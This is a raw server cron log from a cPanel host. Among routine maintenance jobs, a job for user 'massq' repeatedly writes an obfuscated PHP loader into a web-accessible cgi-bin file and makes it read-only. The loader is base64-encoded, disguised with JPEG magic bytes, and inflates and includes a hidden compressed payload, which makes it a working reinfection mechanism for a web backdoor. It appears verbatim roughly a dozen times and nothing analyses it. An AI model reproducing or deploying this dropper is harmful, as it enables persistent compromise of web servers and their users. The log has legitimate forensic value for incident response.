Sep  7 23:30:01 server CROND[8328]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 23:30:01 server CROND[8327]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:30:01 server CROND[8325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:30:01 server CROND[8339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:31:01 server CROND[9341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:31:01 server CROND[9342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:31:01 server CROND[9343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:32:01 server CROND[9705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:32:01 server CROND[9706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:32:01 server CROND[9704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:33:01 server CROND[10134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:33:01 server CROND[10135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:33:01 server CROND[10136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:34:01 server CROND[10531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:34:01 server CROND[10532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:34:01 server CROND[10534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:35:01 server CROND[11002]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 23:35:01 server CROND[11003]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:35:01 server CROND[11008]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 23:35:01 server CROND[11010]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:35:01 server CROND[11015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:35:01 server CROND[11011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:35:01 server CROND[11014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:35:01 server CROND[11012]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 23:35:01 server CROND[11013]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 23:36:01 server CROND[11835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:36:01 server CROND[11836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:36:01 server CROND[11837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:37:01 server CROND[12202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:37:01 server CROND[12203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:37:01 server CROND[12204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:38:01 server CROND[12611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:38:01 server CROND[12612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:38:01 server CROND[12613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:39:01 server CROND[13225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:39:01 server CROND[13226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:39:01 server CROND[13227]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 23:39:01 server CROND[13228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:40:01 server CROND[13713]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 23:40:01 server CROND[13714]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 23:40:01 server CROND[13719]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 23:40:01 server CROND[13732]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:40:01 server CROND[13740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:40:01 server CROND[13739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:40:01 server CROND[13742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:40:01 server CROND[13743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:41:02 server CROND[14549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:41:02 server CROND[14550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:41:02 server CROND[14551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:42:01 server CROND[14908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
